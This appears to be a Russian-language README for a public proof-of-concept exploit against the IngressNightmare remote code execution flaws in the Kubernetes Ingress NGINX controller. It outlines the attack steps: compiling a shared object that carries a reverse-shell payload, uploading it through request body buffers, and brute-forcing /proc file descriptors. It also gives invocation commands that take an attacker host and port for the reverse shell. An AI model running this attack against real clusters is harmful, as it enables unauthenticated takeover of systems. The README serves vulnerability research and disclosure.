
Poc for Ingress RCE
Этот проект предоставляет эксплойт, нацеленный на критические неаутентифицированные уязвимости удаленного выполнения кода (RCE) в контроллере Ingress NGINX для Kubernetes, совместно именуемые IngressNightmare.
В оригинальном исследовании команда Wiz не предоставила PoC или функциональный эксплойт, поэтому мы решили создать свой собственный и поделиться им с сообществом.
Контроллер Ingress NGINX — широко используемый компонент в средах Kubernetes, управляющий внешним доступом к сервисам внутри кластеров. Недавние уязвимости (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974) выявили критические риски безопасности.
Эксплойт следует следующим основным шагам:
Генерация общего объекта (используется внедренным свойством ssl_engine):
Компилирует библиотеку .so (evil_engine.so), содержащую полезную нагрузку для reverse shell.
Загрузка общего объекта:
Отправляет скомпилированный общий объект в под ingress, используя обработку запросов (буферы тела клиента). Хитрость заключается в отправке серверу другого Content-Length, чтобы сохранить соединение открытым.
Перебор fd (файловых дескрипторов): Перебирает идентификаторы процессов и файловые дескрипторы (/proc/{pid}/fd/{fd}), чтобы найти правильный дескриптор, ссылающийся на загруженный объект.
Использование
Предварительные требования:
Запуск эксплойта:
pip3 install -r requirements.txt
python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port](https://github.com/zwxxb/cve-2025-1974/blob/HEAD/attacker_host:port)
Пример: python3 poc.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443
Иногда admission webhook находится в другом пространстве имен. В этом случае необходимо указать пространство имен в конце, например kube-system, default или ingress-nginx.
<ingress_url>: Целевой URL Ingress (публичный)<admission_webhook_url>: URL admission webhook (внутренний webhook)[attacker_host:port](https://github.com/zwxxb/cve-2025-1974/blob/HEAD/attacker_host:port): Ваш хост и порт для reverse shellОтказ от ответственности
Данный эксплойт предоставляется строго в образовательных и исследовательских целях. Несанкционированное использование этого инструмента против целей без явного разрешения запрещено. Hakai Security и QuimeraX не несут ответственности за любое неправомерное использование этого инструмента.